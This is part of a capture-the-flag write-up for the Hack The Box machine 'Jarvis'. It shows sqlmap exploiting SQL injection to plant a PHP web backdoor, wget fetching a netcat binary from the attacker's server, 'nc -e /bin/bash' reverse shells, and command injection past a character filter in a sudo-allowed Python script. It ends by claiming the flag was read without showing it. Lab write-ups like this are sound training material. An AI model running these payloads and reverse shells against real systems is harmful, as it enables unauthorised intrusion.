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Part 2 : Getting User Access

Our nmap scan picked up port 80 so let's investigate it:



  [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~]
  → dirsearch -u http://10.10.10.143 -e php,txt,html -t 50
  git clone https://github.com/maurosoria/dirsearch.git
  dirsearch -u  -e  -t 50 -x 500

   _|. _ _  _  _  _ _|_    v0.3.9
  (_||| _) (/_(_|| (_| )

  Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6748

  Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-24_13-40-43.log

  Target: http://10.10.10.143

  [13:40:43] Starting:
  [13:40:46] 403 -  298B  - /.ht_wsr.txt
  [13:40:46] 403 -  300B  - /.htaccess-dev
  [13:40:46] 403 -  291B  - /.hta
  [13:40:46] 403 -  300B  - /.htaccess.BAK
  [13:40:46] 403 -  301B  - /.htaccess.bak1
  [13:40:46] 403 -  302B  - /.htaccess-marco
  [13:40:46] 403 -  302B  - /.htaccess-local
  [13:40:46] 403 -  300B  - /.htaccess.old
  [13:40:46] 403 -  301B  - /.htaccess.orig
  [13:40:46] 403 -  303B  - /.htaccess.sample
  [13:40:46] 403 -  301B  - /.htaccess.save
  [13:40:46] 403 -  300B  - /.htaccess.txt
  [13:40:46] 403 -  302B  - /.htaccess_extra
  [13:40:46] 403 -  301B  - /.htaccess_orig
  [13:40:46] 403 -  299B  - /.htaccessOLD
  [13:40:46] 403 -  299B  - /.htaccessBAK
  [13:40:46] 403 -  299B  - /.htaccess_sc
  [13:40:46] 403 -  300B  - /.htaccessOLD2
  [13:40:46] 403 -  297B  - /.htaccess~
  [13:40:46] 403 -  295B  - /.htgroup
  [13:40:46] 403 -  300B  - /.htpasswd-old
  [13:40:46] 403 -  301B  - /.htpasswd_test
  [13:40:46] 403 -  297B  - /.htpasswds
  [13:40:46] 403 -  295B  - /.htusers
  [13:41:00] 301 -  310B  - /css  ->  http://10.10.10.143/css/
  [13:41:02] 301 -  312B  - /fonts  ->  http://10.10.10.143/fonts/
  [13:41:04] 301 -  313B  - /images  ->  http://10.10.10.143/images/
  [13:41:04] 200 -   23KB - /index.php
  [13:41:04] 200 -   23KB - /index.php/login/
  [13:41:04] 301 -  309B  - /js  ->  http://10.10.10.143/js/
  [13:41:08] 301 -  317B  - /phpmyadmin  ->  http://10.10.10.143/phpmyadmin/
  [13:41:09] 200 -   14KB - /phpmyadmin/
  [13:41:11] 403 -  300B  - /server-status
  [13:41:11] 403 -  301B  - /server-status/

  Task Completed

now the interesting here is to head over to the room.php page where there is a SQL injectable parameter "cod" :

So using the sqlmap command focused on the cod parameter, with the --batch parameter to let sqlmap decide instead


  [ 10.10.14.15/23 ] [ /dev/pts/7 ] [~]
  → sqlmap -u http://10.10.10.143/room.php\?cod\=2 -p cod --batch
          ___
         __H__
   ___ ___[,]_____ ___ ___  {1.4.4#stable}
  |_ -| . [ ]     | .|  . |
  |___|_  [.]_|_|_|__,|  _|
        |_|V...       |_|   http://sqlmap.org

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting @ 13:47:56 /2020-04-24/

  [13:47:56] [INFO] testing connection to the target URL
  you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ijsh9b7tldb...pd5ok0b5u4'). Do you want to use those [Y/n] Y

  [...]

  [13:48:22] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
  GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
  sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
  ---
  Parameter: cod (GET)
      Type: boolean-based blind
      Title: AND boolean-based blind - WHERE or HAVING clause
      Payload: cod=2 AND 9936=9936

      Type: time-based blind
      Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
      Payload: cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre)

      Type: UNION query
      Title: Generic UNION query (NULL) - 7 columns
      Payload: cod=-7095 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x526d7a7a434367667152426962716277476468697647506b63536544554f696444474c4242465369,0x7170626a71),NULL,NULL,NULL,NULL-- -
  ---
  [13:48:23] [INFO] the back-end DBMS is MySQL
  back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
  [13:48:23] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/10.10.10.143'

  [*] ending @ 13:48:23 /2020-04-24/

So our sqlmap scan picked up the boolean-based blind sql injection "cod=2 AND 9936=9936" and the a time-based blind sql injection "cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre)" The last UNION query sql injection seems a bit extreme, so we'll use one the first two to continue by supplying the following --random-agent and --os-pwn flags :



  [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~]
  → sudo sqlmap -u http://10.10.10.143/room.php\?cod\=1 -p cod --delay 2 --os-shell --batch
          ___
         __H__
   ___ ___[)]_____ ___ ___  {1.4.4#stable}
  |_ -| . [']     | .'| . |
  |___|_  [']_|_|_|__,|  _|
        |_|V...       |_|   http://sqlmap.org

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting @ 14:25:42 /2020-04-24/

  [14:25:42] [INFO] resuming back-end DBMS 'mysql'
  [14:25:42] [INFO] testing connection to the target URL
  you have not declared cookie(s), while server wants to set its own ('PHPSESSID=sdu9as9sjto...hj8maof8n6'). Do you want to use those [Y/n] Y
  sqlmap resumed the following injection point(s) from stored session:
  ---
  Parameter: cod (GET)
      Type: boolean-based blind
      Title: AND boolean-based blind - WHERE or HAVING clause
      Payload: cod=1 AND 1211=1211

      Type: time-based blind
      Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
      Payload: cod=1 AND (SELECT 7286 FROM (SELECT(SLEEP(5)))vLIW)

      Type: UNION query
      Title: Generic UNION query (NULL) - 7 columns
      Payload: cod=-6450 UNION ALL SELECT CONCAT(0x7178716a71,0x685a4e4644627879677847584e50544e4f5763536e455059626b5570475768784c51795749596957,0x71626b7871),NULL,NULL,NULL,NULL,NULL,NULL-- -
  ---
  [14:25:44] [INFO] the back-end DBMS is MySQL
  back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
  [14:25:44] [INFO] going to use a web backdoor for command prompt
  [14:25:44] [INFO] fingerprinting the back-end DBMS operating system
  [14:25:44] [INFO] the back-end DBMS operating system is Linux
  which web application language does the web server support?
  [1] ASP
  [2] ASPX
  [3] JSP
  [4] PHP (default)
  > 4
  [14:25:44] [WARNING] unable to automatically retrieve the web server document root
  what do you want to use for writable directory?
  [1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
  [2] custom location(s)
  [3] custom directory list file
  [4] brute force search
  > 1
  [14:25:44] [INFO] retrieved web server absolute paths: '/images/'
  [14:25:44] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
  [14:25:53] [WARNING] unable to upload the file stager on '/var/www/'
  [14:25:53] [INFO] trying to upload the file stager on '/var/www/' via UNION method
  [14:25:55] [WARNING] expect junk characters inside the file as a leftover from UNION query
  [14:25:58] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
  [14:26:04] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
  [14:26:15] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuuhgv.php
  [14:26:19] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbbmyz.php
  [14:26:19] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
  os-shell> ls
  do you want to retrieve the command standard output? [Y/n/a] Y
  command standard output:
  ---
  ayax
  b4nn3d
  connection.php
  css
  dining-bar.php
  fonts
  footer.php
  getfileayax.php
  images
  index.php
  js
  nav.php
  phpmyadmin
  room.php
  roomobj.php
  rooms-suites.php
  sass
  tmpbbhty.php
  tmpbbmyz.php
  tmpbfoqa.php
  tmpukixw.php
  tmpuqxde.php
  tmpuuhgv.php
  ---
  os-shell>

So here we have a shitty shell, which we need to spawn a proper shell:


  os-shell> id
  do you want to retrieve the command standard output? [Y/n/a] Y
  No output
  os-shell> which bash
  do you want to retrieve the command standard output? [Y/n/a] Y
  command standard output: '/bin/bash'
  os-shell> bash
  do you want to retrieve the command standard output? [Y/n/a] Y
  No output
  os-shell> which python
  do you want to retrieve the command standard output? [Y/n/a] Y
  os-shell> python -c 'import pty;pty.spawn("/bin/bash");'
  do you want to retrieve the command standard output? [Y/n/a] Y
  No output

It's not as trivial as it sounds like, because we can't seem to escape said shell yet. So the thing here is that we are able to upload a netcat binary in order to spawn a reverse shell for us:

Terminal 1:



  [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
  → which nc
  /usr/bin/nc

  [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
  → cp /usr/bin/nc .


  [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
  → file nc
  nc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=22b9d8e181fb120b26a0b11142547e0dfbde8a83, for GNU/Linux 3.2.0, stripped

  [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
  → python3 -m http.server 9091
  Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...


  os-shell> which wget
  do you want to retrieve the command standard output? [Y/n/a] Y
  command standard output: '/usr/bin/wget'
  os-shell> wget http://10.10.14.15:9091/nc
  do you want to retrieve the command standard output? [Y/n/a] Y
  command standard output:
  ---
  --2020-04-24 10:53:19--  http://10.10.14.15:9091/nc
  Connecting to 10.10.14.15:9091... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 35520 (35K) [application/octet-stream]
  Saving to: 'nc'

       0K .......... .......... .......... ....                 100%  307K=0.1s

  2020-04-24 10:53:20 (307 KB/s) - 'nc' saved [35520/35520]

  ---

  os-shell> nc 10.10.14.15 9001 -e /bin/bash
  do you want to retrieve the command standard output? [Y/n/a] Y


  [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
  → sudo nc -lvnp 9001
  [sudo] password for nothing:
  listening on [any] 9001 ...
  connect to [10.10.14.15] from (UNKNOWN) [10.10.10.143] 59194
  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)


  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  which python
  /usr/bin/python
  python -c 'import pty;pty.spawn("/bin/bash");'
  www-data@jarvis:/var/www/html$ id
  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)



  www-data@jarvis:/var/www/html$ cd /home
  cd /home
  www-data@jarvis:/home$ ls
  ls
  pepper
  www-data@jarvis:/home$ cd pepper
  cd pepper
  www-data@jarvis:/home/pepper$ ls
  ls
  Web  user.txt
  www-data@jarvis:/home/pepper$ cat user.txt
  cat user.txt
  cat: user.txt: Permission denied

So we need to privesc to the user pepper, first thing to look into is sudo -l :



  www-data@jarvis:/home/pepper$ sudo -l
  sudo -l
  Matching Defaults entries for www-data on jarvis:
      env_reset, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  User www-data may run the following commands on jarvis:
      (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py



  www-data@jarvis:/home/pepper$ cd /var/www/Admin-Utilities
  cd /var/www/Admin-Utilities
  www-data@jarvis:/var/www/Admin-Utilities$ ls -lash
  ls -lash
  total 16K
  4.0K drwxr-xr-x 2 pepper pepper 4.0K Mar  4  2019 .
  4.0K drwxr-xr-x 4 root   root   4.0K Mar  4  2019 ..
  8.0K -rwxr--r-- 1 pepper pepper 4.5K Mar  4  2019 simpler.py

  www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py
  python3 simpler.py
  ***********************************************
       _                 _
   ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
  / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
  \__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
  |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                  |_|               |_|    |___/
                                  @ironhackers.es

  ***********************************************


  ********************************************************
  * Simpler   -   A simple simplifier ;)                 *
  * Version 1.0                                          *
  ********************************************************
  Usage:  python3 simpler.py [options]

  Options:
      -h/--help   : This help
      -s          : Statistics
      -l          : List the attackers IP
      -p          : ping an attacker IP

So the trick here is to ping ourselves, and to try to not kill the current shell, because the ping command runs infintiely, to shut it down means to hit Ctrl+C and therefore end the shell.


  www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py -p
  python3 simpler.py -p
  ***********************************************
       _                 _
   ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
  / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
  \__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
  |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                  |_|               |_|    |___/
                                  @ironhackers.es

  ***********************************************

  Enter an IP: 10.10.14.15 & whoami
  10.10.14.15 & whoami
  Got you

Looking at the sourcecode of the script we see that it filters out the following characters:



  www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py | grep forbidden
  cat simpler.py | grep forbidden
      forbidden = ['&', ';', '-', '`', '||', '|']
      for i in forbidden:

So the idea here is to make a script that will spawn another reverse shell, this time as the user pepper, thanks to the python script itself, since we can inject the characters $(/path/to/script)



  www-data@jarvis:/var/www/Admin-Utilities$ touch nihilist
  touch nihilist
  touch: cannot touch 'nihilist': Permission denied
  www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/nihilist
  touch /tmp/nihilist
  www-data@jarvis:/var/www/Admin-Utilities$

And said script we have to save it into a directory where we have writing access, /tmp in particular with which the netcat binary will also be:


  www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/nihilist
  www-data@jarvis:/var/www/Admin-Utilities$ chmod +x /tmp/nihilist && chmod +x /tmp/nc
  www-data@jarvis:/var/www/Admin-Utilities$ echo '#!/bin/sh' > /tmp/nihilist
  www-data@jarvis:/var/www/Admin-Utilities$ echo 'nc -e /bin/bash 10.10.14.15 9002' >> /tmp/nihilist
  www-data@jarvis:/var/www/Admin-Utilities$ cat /tmp/nihilist
  cat /tmp/nihilist
  #!/bin/sh
  nc -e /bin/bash 10.10.14.15 9002

And that's it ! we have been able to print out the user flag.

Jarvis Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

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